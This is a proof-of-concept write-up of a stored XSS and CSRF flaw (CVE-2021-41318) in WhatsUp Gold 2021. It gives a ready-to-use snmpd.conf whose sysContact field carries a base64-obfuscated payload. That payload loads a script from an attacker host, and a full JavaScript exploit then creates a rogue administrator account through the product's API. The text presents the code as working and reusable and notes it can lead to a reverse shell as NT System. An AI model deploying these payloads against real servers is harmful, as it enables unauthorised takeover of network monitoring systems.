WhatsUpGold 2021

POC - CVE-2021-41318

Description

Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.

Placing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.

No CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.

Exploitation

SNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:

# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See snmpd.conf(5) man page for details
############################################################################
# SECTION: System Information Setup
# syslocation: The [typically physical] location of the system.
# Note that setting this value here means that when trying to
# perform an snmp SET operation to the sysLocation.0 variable will make
# the agent return the "notWritable" error code.  IE, including
# this token in the snmpd.conf file will disable write access to
# the variable.
# arguments:  location_string
sysName Evil-Device
sysLocation    Somewhere Over The Rainbow
sysContact     <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly8xOTIuMTY4LjY2LjQ2L3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 src=x onerror=eval(atob(this.id))>

Here the payload is placed in the sysContact field, slightly obfuscated using base64 to bypass filtering:

This is the base64 encoded string:

var a=document.createElement("script");a.src="http://192.168.66.46/x.js";document.body.appendChild(a);

To replicate, replace url and base64-encode it again.

When a SNMP discovery is run on the subnet where the “Evil device” is located, the payload will be stored, triggering an external javascript when viewed in a browser.

Bilde1

We can see our injection as a “missing image” icon. We don’t have to collapse the “More Device Information” section, it will trigger anyway.

The attacker will have to serve the javascript on an webserver.

Bilde2

Javascript

In my POC, I use the following script. This should also work for you without changing other than the variables.

var vhost = window.location.protocol+'\/\/'+window.location.host
var username = "sysadmin"
var password = "me"

fetch(vhost+'/NmConsole/api/core/WebUser',{
    method: 'POST',
    headers: {
        'Content-Length': '479',
        'Accept': 'application/json',
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',
        'Content-Type': 'application/json',
        'Origin': vhost,
        'Referer': vhost+'/NmConsole/',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',
        'Connection': 'close'
    },
    credentials: 'include',
        body: '{"HomeDeviceGroupID":0,"HomeDeviceGroupPath":"My Network","LanguageID":1033,"UserRightsMask":"0","IsDgarConfigured":false,"Groups"   [1],"WebUserID":-1,"UserName":"'+username+'","AuthenticationType":1,"ApplyWebUiSessionTimeout":true,"ApplyLockoutPolicy":false,"ApplyPasswordAging":false,"ApplyPasswordComplexity":false,"ApplySessionPolicy":false,"FailedLoginCount":0,"IsLocked":false,"Password":"'+password+'","UnlockUser":false,"WebConfigurationSettings":"","id":"Wug.model.userManagement.WebUser-2"}'
});

Now having a administrator account, the attacker might log in to the application and use the "Actions" and "Scheduling" functionality inside WhatsUpGold to gain a reverse shell on the server as “NT System”

Links:

Video POC

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41318

https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-September-2021

Bootstrap Theme for Grav